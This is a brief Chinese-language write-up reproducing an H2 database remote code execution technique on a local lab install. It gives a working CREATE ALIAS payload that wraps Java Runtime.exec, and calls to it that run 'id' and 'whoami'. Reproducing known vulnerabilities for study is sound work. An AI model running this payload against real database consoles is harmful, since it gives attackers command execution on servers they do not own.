0x01 前言
在分析SkyWalking的时候,发现该漏洞需要用到h2数据库的只是,于是就此复现下利用方式。可以说是对这篇文章的复现
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html
0x02 环境搭建
访问h2数据库官网下载数据库安装包
切换到切换到h2/bin/目录下,执行
chmod 777 h2.sh
./h2.sh
访问8082端口,可以看到该数据库的登录界面,默认无密码
直接登入该数据库,可以在sql语句执行框执行想要利用的语句
0x03
利用alias别名,调用java代码进行命令执行
//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//调用SHELLEXEC执行命令
CALL SHELLEXEC(‘id‘);
CALL SHELLEXEC(‘whoami‘);
执行whoami
0x03 参考
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html